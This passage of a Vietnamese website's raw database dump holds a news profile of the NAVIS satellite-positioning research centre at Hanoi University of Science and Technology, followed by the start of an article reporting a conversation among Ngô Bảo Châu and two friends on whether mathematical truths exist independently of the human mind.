Âu thông qua Chương trình khung thứ 7 về nghiên cứu và phát triển công nghệ (FP7) đã tài trợ Dự án SEAGALvới sự tham gia của 5 nước đối tác Châu Âu và Châu Á. Mục tiêu chính của Dự án là thiết lập một trung tâm quốc tế chuyên về công nghệ định vị sử dụng vệ tinh (Global Navigation Satellite System – GNSS) đặt tại Trường Đại học Bách Khoa Hà Nội (ĐHBKHN) với các hoạt động đa dạng từ nghiên cứu phát triển, đến quảng bá, đào tạo, chuyển giao công nghệ, tư vấn chính sách liên quan đến công nghệ GNSS cho các nước trong khu vực Đông Nam Á. Kết quả của dự án là sự ra đời của Trung tâm Quốc tế NC&PT Công nghệ định vị sử dụng vệ tinh (NAVIS) vào tháng 10/2010. Trung tâm hiện tại có sự tham gia trực tiếp của các đối tác Việt Nam, và Italy thông qua mô hình đồng giám đốc được thực hiện từ tháng 2/2012.</div> <div> </div> <div> Từ ngày thành lập, NAVIS đã và đang tham gia chủ trì và thực hiện hàng chục đề tài, dự án nghiên cứu khoa học (NCKH) với các đối tác Châu Âu, Úc và Nhật Bản tập trung vào các lĩnh vực: (i) định vị đa hệ thống GNSS; (ii) phương pháp và hạ tầng định vị chính xác (mm/cm); (iii) giám sát môi trường sử dụng GNSS; (iv) các dịch vụ hướng vị trí; và (v) đảm bảo an ninh trong định vị (chống phá sóng, và giả mạo tín hiệu). Trong đó, nổi bật nhất là Dự án FP7 Growing NAVIS, do EU tài trợ, với sự tham gia của 10 đối tác quốc tế từ Châu Âu, Châu Á và Châu Đại Dương, với nhiều hoạt động trên tất cả các lĩnh vực của Trung tâm, nhằm mục đích phát triển NAVIS thực sự trở thành một trung tâm hàng đầu về công nghệ GNSS tại khu vực Đông Nam Á.</div> <div> </div> <div> “Tại thời điểm hiện tại, chúng tôi coi hợp tác quốc tế, cũng như triển khai các đề tài, dự án nghiên cứu khoa học các cấp là trọng tâm, tuy nhiên, để phát triển bền vững, chúng tôi phải sống “được” với các sản phẩm nghiên cứu khoa học của mình. Đó vừa là sự quyết tâm, vừa là trách nhiệm của chúng tôi với sự đầu tư của xã hội! Không còn cách nào khác!!!”, TS. Tạ Hải Tùng nói.</div> <div> NAVIS đã và đang chứng tỏ được vai trò quốc tế của mình trong khu vực thông qua ba năm liền tổ chức nhiều hội thảo, hội nghị, và trường hè quốc tế hàng năm về công nghệ GNSS: NAVIS phối hợp với Diễn đàn định vị đa hệ thống châu Á (Multi-GNSS Asia), Uỷ ban quốc tế của LHQ về GNSS(ICG)… tổ chức Hội nghị cấp vùng Châu Á và Châu Đại dương về công nghệ GNSS (AOR), trong đó, hội nghị AOR-2013 đã được tổ chức thành công tại ĐHBK HN với sự tham gia của gần 200 khách quốc tế đến từ 17 quốc gia và vùng lãnh thổ.</div> <div> </div> <div> NAVIS cũng trở thành địa chỉ hợp tác về GNSS đáng tin cậy của các tổ chức quốc tế về hàng không vũ trụ trên thế giới, qua việc đang vận hành 2 hệ thống trạm giám sát chất lượng tín hiệu định vị GNSS nằm trong mạng lưới toàn cầu của Cơ quan NC&PT hàng không vũ trụ Nhật Bản (JAXA), Cơ quan Vũ trụ Châu Âu (ESA), cũng như hợp tác chặt chẽ với Trung tâm nghiên cứu hỗn hợp trực thuộc Uỷ ban Châu Âu (EC) trong nghiên cứu tác động của tầng điện ly tại khu vực cận xích đạo lên chất lượng dịch vụ định vị.</div> <div> </div> <div> Việc hợp tác quốc tế, nhất là trong triển khai các dự án, đề tài NCKH với các đối tác hàng đầu trong lĩnh vực, tạo ra sức ép lớn với NAVIS trong việc thu hút, và phát triển đội ngũ nghiên cứu trình độ cao trong một lĩnh vực công nghệ cao, đầy mới mẻ không chỉ với Việt Nam mà còn trên thế giới. TS. Tạ Hải Tùng – Giám đốc Trung tâm chia sẻ: “Khi mới thành lập, Trung tâm chỉ có duy nhất 2 người được đào tạo chuyên sâu trong lĩnh vực. Làm thế nào để phát triển đội ngũ, mà phải “tinh” với kỹ năng làm việc quốc tế, chứ không chạy theo số lượng, trong bối cảnh không có biên chế nghiên cứu màphải tự chủ về nguồn thu là câu hỏi đau đáu với ban Giám đốc Trung tâm lúc bấy giờ”. Với sự ủng hộ mạnh mẽ của Ban Giám hiệu nhà Trường trong việc cung cấp cơ chế mở, cũng như hỗ trợ hết mình cho hợp tác quốc tế phát triển Trung tâm. NAVIS đã dần dần thu hút được các nhà khoa học trẻ trong trường, những người “bị” thuyết phục bởi kế hoạch và tiềm năng dài hạn của NAVIS để chấp nhận chuyển đổi hướng nghiên cứu theo định hướng của Trung tâm. Tuy nhiên, những người “dũng cảm” như thế không nhiều, vì vậy, NAVIS phải tự xây dựng đội ngũ thông qua đào tạo và giữ lại công tác các sinh viên xuất sắc của Trường ĐHBK Hà Nội và gửi hàng chục sinh viên theo các chương trình thực tập ngắn hạn, Thạc sỹ và Tiến sỹ trong chuyên ngành GNSS tại Châu Âu và Úc. Nhiều người trong số họ đã trở về, đóng góp lớn vào sự thành công bước đầu của Trung tâm. Và thực tế này lại đặt Trung tâm dưới một sức ép mới, làm sao để giữ những con người như vậy.</div> <div> </div> <div> <strong>“Đi bằng hai chân”</strong></div> <div> </div> <div> Với tầm quan trọng ngày càng gia tăng của định vị sử dụng vệ tinh trong mọi lĩnh vực của đời sống, từ dẫn đường, theo dõi đối tượng; đến nông nghiệp chính xác, giám sát môi trường, đồng bộ giao dịch tài chính, ngân hàng, viễn thông, năng lượng; cũng như những ứng dụng thiết yếu trong an ninh quốc phòng;nhiều nước trên thế giới đã và đang tự phát triển hệ thống vệ tinh định vị của riêng mình như Galileo (Châu Âu), GLONASS (Nga), Beidou (Trung Quốc), QZSS (Nhật Bản), IRNSS (Ấn Độ)…</div> <div> </div> <div> Việt Nam chúng ta hiện chưa có hệ thống vệ tinh định vị của riêng mình, và việc sử dụng dịch vụ hoàn toàn dựa vào các hệ thống của nước ngoài. Vì vậy, môi trường định vị đa hệ thống với nhiều lựa chọn về công nghệ và dịch vụ mới có ý nghĩa vô cùng quan trọng đối với Việt Nam trong việc giảm bớt sự phụ thuộc vào một hệ thống riêng lẻ, nâng cao độ chính xác, và đặc biệt là tính sẵn sàng và độ tinh cậy của định vị sử dụng vệ tinh.</div> <div> </div> <div> Nhận thức được vấn đề đó, NAVIS đã nghiên cứu và chế tạo thành công bộ thu định vị đa hệ thống NAVISOFT. NAVISOFT có thể hoạt động được với tất cả các hệ thống GNSS hiện tại (bao gồm: GPS/GLONASS/Galileo/Beidou), cũng như hệ thống cấp khu vực QZSS của Nhật Bản. Sản phẩm này đặc biệt có ý nghĩa đặc biệt quan trọng trong các lĩnh vực đặc thù, nơi không phải độ chính xác mà độ tin cậy của kết quả định vị mới được quan tâm nhiều nhất. Với sản phẩm này, NAVIS đã được Cơ quan Vũ trụ Châu Âu (ESA) chứng nhận là một trong 50 đơn vị đầu tiên trên thế giới (một trong ba đơn vị tại Châu Á, cùng với Nhật Bản và Trung Quốc) đã sử dụng thành công dịch vụ định vị sử dụng vệ tinh của Galileo.</div> <div> </div> <div> Bộ thu độ chính xác cao NAVISA với các nghiên cứu cải tiến phù hợp với điều kiện hoạt động ngoài biển, kết hợp với các phần mềm xử lý, tính toán dữ liệu có thể giải quyết bài toán quan trọng liên quan đến theo dõi sự dịch chuyển và cảnh báo an toàn của nhà giàn chủ quyền trên biển Đông trong điều kiện thiên tai khắc nghiệt. Tuy nhiên, quy trình đề xuất, xét duyệt phức tạp, kéo dài, đã cản trở việc triển khai đề tài, dù ai cũng nhận ra tính cấp bách của nó.</div> <div> <br /> Ngoài ra, người sử dụng thông thường chỉ làm quen với các dịch vụ định vị tiêu chuẩn với độ chính xác cỡ 5-10m, tuy nhiên, hiện tại công nghệ định vị chính xác (precise positioning) rất phát triển, cung cấp cho người sử dụng chuyên biệt trong các lĩnh vực như trắc địa, xây dựng bản đồ, điều khiển phương tiện tự hành… các dịch vụ định vị có độ chính xác rất cao (cỡ mm, cm). Tại Việt Nam, giá thành của các bộ thu định vị chính xác ngoại nhập, đặc biệt các bộ thu cho kết quả theo thời gian thực có giá thành từ vài trăm triệu đến cả tỷ đồng, là cản trở rất lớn tới sự ứng dụng của công nghệ quan trọng này. Trong bối cảnh đó, NAVIS đã chế tạo thành công bộ thu NAVISA với tính năng đáp ứng đầy đủ các tiêu chuẩn của một bộ thu định vị chính xác.“Nhưng con đường đưa sản phẩm KHCN vàothực tiễn không hề đơn giản. Sự cản trở đôi khi đến từ tâm lý nghi kỵ các sản phẩm NCKH do các nhà khoa học Việt Nam tạo ra của các doanh nghiệp cũng như các đơn vị có nhu cầu” TS. Tùng nói. Tuy nhiên, từng bước một, để xây dựng lòng tin, NAVIS tạo điều kiện cho các doanh nghiệp có nhu cầu dùng thử sản phẩm của mình, cán bộ đã đến tận hiện trường để chứng minh năng lực của thiết bị.</div> <div> </div> <div> Bên cạnh nghiên cứu ứng dụng, NAVIS cũng đang triển khai các định hướng nghiên cứu hàn lâm. Theo TS. Tạ Hải Tùng, “Bây giờ là thời điểm vàng để nghiên cứu định vị sử dụng vệ tinh”. Bởi đến năm 2020, khi các hệ thống ngoài GPS phát triển hoàn thiện, với hơn 30 vệ tinh từ tất cả các hệ thốngxuất hiện đồng thời tại mọi thời điểm (nhiều nhất trên toàn thế giới), Đông Nam Á sẽ là địa điểm “lý tưởng” cho nghiên cứu về định vị. Tuy nhiên do gần xích đạo nơi có tầng điện ly hoạt động bất thường, nênĐNA cũng là nơi có chất lượng dịch vụ định vị không tốt so với các khu vực ở vĩ độ cao. Vì vậy, những mô hình dự báo hoạt động của tầng điện ly của các hệ thống GNSS hiện nay (vốn được thiết kế tối ưu cho khu vực vĩ độ cao) đáp ứng không hiệu quả ở Đông Nam Á. Cùng với các đối tác, NAVIS đang tiến hành các nghiên cứu sử dụng tín hiệu GNSS để phân tích các đặc trưng của tầng điện ly trong khu vực, nhằm mục đích nâng cao chất lượng định vị. Bên cạnh đó, trung tâm cũng triển khai các nghiên cứu quan trọng liên quan tới “an ninh”trong định vị để giải quyết các bài toán liên quan đến phá sóng, và giả mạo tín hiệu GPS, có ý nghĩa tối quan trọng trong an ninh – quốc phòng.</div> <div> </div> <div> Là một tố chức nghiên cứu trong trường đại học, TS. Tạ Hải Tùng xác định NAVIS sẽ phải tập trung song song nghiên cứu ứng dụng và nghiên cứu hàn lâm mà anh gọi đó là “hai chân” của trung tâm: “Chúng tôi sẽ đầu tư về con người, kết hợp với các dự án trong nước và quốc tế để ‘đi bằng hai chân’. Nhưng về lâu dài, một đơn vị nghiên cứu cần phải có các sản phẩm nghiên cứu cụ thể và phối hợp với các doanh nghiệp, tổ chức để áp dụng vào thực tế. Điều này nếu thành công sẽ tạo ra nguồn thu ổn định lâu dài cho Trung tâm. Từ đó, chúng tôi sẽ đầu tư trở lại cho nghiên cứuhàn lâm, tạo điều kiện phát triển đội ngũ NCKH trình độ cao, sẵn sàng cho những thách thức, và cơ hội phát triển mới”.</div> ', 'images' => '201606160308358deddf03f08b1252c7983c2c650c0410.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '62952', 'slug' => 'ap-luc-tu-hop-tac-quoc-te', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '711', 'rght' => '712', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu 